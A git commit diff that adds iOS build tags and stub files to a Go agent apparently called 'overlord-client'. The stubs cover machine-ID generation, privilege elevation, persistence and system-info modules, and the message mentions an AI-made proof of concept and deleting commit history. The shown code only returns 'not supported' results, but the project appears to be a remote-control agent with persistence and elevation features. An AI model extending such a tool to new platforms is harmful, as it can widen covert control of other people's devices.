Get AI to make me a POC. Will need to push to the git so I can test. Will revert if it doesn't work and probably just delete commit history for it as well.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
//go:build darwin
|
||||
//go:build darwin && !ios && !ios_target
|
||||
|
||||
package config
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
//go:build ios || ios_target
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const iosMachineIDFile = "config/ios_machine_id"
|
||||
|
||||
func platformMachineID() string {
|
||||
data, err := os.ReadFile(iosMachineIDFile)
|
||||
if err == nil {
|
||||
if id := strings.TrimSpace(string(data)); id != "" {
|
||||
return id
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, 16)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
log.Printf("[identity] WARNING: failed to generate iOS machine ID: %v", err)
|
||||
return ""
|
||||
}
|
||||
id := hex.EncodeToString(b)
|
||||
|
||||
if err := os.MkdirAll("config", 0700); err != nil {
|
||||
log.Printf("[identity] WARNING: failed to create config dir for iOS machine ID: %v", err)
|
||||
return id
|
||||
}
|
||||
if err := os.WriteFile(iosMachineIDFile, []byte(id), 0600); err != nil {
|
||||
log.Printf("[identity] WARNING: failed to persist iOS machine ID: %v", err)
|
||||
}
|
||||
return id
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build darwin
|
||||
//go:build darwin && !ios && !ios_target
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build ios || ios_target
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "elevation is not supported on iOS",
|
||||
})
|
||||
}
|
||||
@@ -1,5 +1,4 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
//go:build darwin && !ios && !ios_target
|
||||
|
||||
package persistence
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build ios || ios_target
|
||||
|
||||
package persistence
|
||||
|
||||
import "fmt"
|
||||
|
||||
func install(_ string) error {
|
||||
return fmt.Errorf("persistence is not supported on iOS")
|
||||
}
|
||||
|
||||
func configure(_ string) error {
|
||||
return fmt.Errorf("persistence is not supported on iOS")
|
||||
}
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
return "", fmt.Errorf("persistence is not supported on iOS")
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
return nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build darwin && cgo
|
||||
//go:build darwin && cgo && !ios && !ios_target
|
||||
|
||||
package plugins
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build darwin
|
||||
//go:build darwin && !ios && !ios_target
|
||||
|
||||
package sysinfo
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build ios || ios_target
|
||||
|
||||
package sysinfo
|
||||
|
||||
func IsAdmin() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func Elevation() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user